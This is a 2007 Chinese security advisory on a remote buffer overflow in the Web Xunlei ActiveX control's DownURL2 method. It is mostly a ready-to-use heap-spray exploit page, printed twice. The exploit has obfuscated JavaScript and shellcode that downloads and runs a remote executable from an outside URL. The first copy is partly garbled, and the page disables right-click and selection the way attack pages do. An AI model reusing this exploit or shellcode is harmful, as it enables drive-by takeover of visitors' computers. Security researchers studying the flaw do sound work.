迅雷ActiveX控件存远程缓冲区溢出漏洞
更新日期:2007-09-24
受影响系统:
迅雷公司 Web迅雷 5.6.9.344
描述:
BUGTRAQ ID: 25751
Web迅雷是迅雷公司最新推出的一款基于多资源多线程技术的下载工具。
迅雷的ActiveX控件实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。
迅雷ActiveX控件没有正确地验证对DownURL2方式的输入,如果用户受骗访问了恶意网页的话,就可能触发缓冲区溢出,导致执行任意指令。
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!<script language="javascript" type="text/javascript">
var she132132132132llc13ode = unescape("%u9090"+"%u9090"+
"%uefe9%u0000%u5a00%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041"+
"%u7468%u7074%u2f3a%u312f%u3176%u6e2e%u6d61%u2f65%u6573%u7672%u7265%u652e%u6578%u0000");//这里是看雪的按钮突破专家
var IsNop1236326312 = '';
var bi3123g123665blo2131ck = unescape("%u9090%u9090");
var IsNop1236326312 = '';
var he132132aders123132ize = 20;
var IsNop1236326312 = '';
var sl21123112ack312231312space = he132132aders123132ize+she132132132132llc13ode.length;
var IsNop1236326312 = '';
while (bi3123g123665blo2131ck.length fillblock = bi3123g123665blo2131ck.substring(0, sl21123112ack312231312space); block = bi3123g123665blo2131ck.substring(0, bi3123g123665blo2131ck.length-sl21123112ack312231312space); while(block.length+sl21123112ack312231312space<0x40000) blockblock = block+block+fillblock; memory = new Array(); for (x=0; x<300; x++) memory[x] = block + she132132132132llc13ode; var b1u1231ff312er = ''; var IsNop1236326312 = ''; var IsNop1236326312 = ''; while (b1u1231ff312er.length < 4057) b1u1231ff312er+="x0ax0ax0ax0a"; b1u1231ff312er+="x0a"; b1u1231ff312er+="x0a"; b1u1231ff312er+="x0a"; b1u1231ff312er+="x0ax0ax0ax0a"; b1u1231ff312er+="x0ax0ax0ax0a"; var yes="1111"; target.DownURL2(b1u1231ff312er,yes,yes,yes); var IsNop1236326312 = ''; </script>
<OBJECT id=target classid=clsid:EEDD6FF9-13DE-496B-9A1C-D78B3215E266></OBJECT>
<SCRIPT language=javascript>
var she132132132132llc13ode = unescape("%u9090"+"%u9090"+
"%uefe9%u0000%u5a00%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041"+
"%u7468%u7074%u2f3a%u312f%u3176%u6e2e%u6d61%u2f65%u6573%u7672%u7265%u652e%u6578%u0000");//这里是看雪的按钮突破专家
var IsNop1236326312 = '';
var bi3123g123665blo2131ck = unescape("%u9090%u9090");
var IsNop1236326312 = '';
var he132132aders123132ize = 20;
var IsNop1236326312 = '';
var sl21123112ack312231312space = he132132aders123132ize+she132132132132llc13ode.length;
var IsNop1236326312 = '';
while (bi3123g123665blo2131ck.length<sl21123112ack312231312space) bi3123g123665blo2131ck+=bi3123g123665blo2131ck;
fillblock = bi3123g123665blo2131ck.substring(0, sl21123112ack312231312space);
block = bi3123g123665blo2131ck.substring(0, bi3123g123665blo2131ck.length-sl21123112ack312231312space);
while(block.length+sl21123112ack312231312space<0x40000) blockblock = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++) memory[x] = block + she132132132132llc13ode;
var b1u1231ff312er = '';
var IsNop1236326312 = '';
var IsNop1236326312 = '';
while (b1u1231ff312er.length < 4057) b1u1231ff312er+="x0ax0ax0ax0a";
b1u1231ff312er+="x0a";
b1u1231ff312er+="x0a";
b1u1231ff312er+="x0a";
b1u1231ff312er+="x0ax0ax0ax0a";
b1u1231ff312er+="x0ax0ax0ax0a";
var yes="1111";
target.DownURL2(b1u1231ff312er,yes,yes,yes);
var IsNop1236326312 = '';
</SCRIPT>
<body oncontextmenu="return false" onselectstart="return false" ondragstart="return false">
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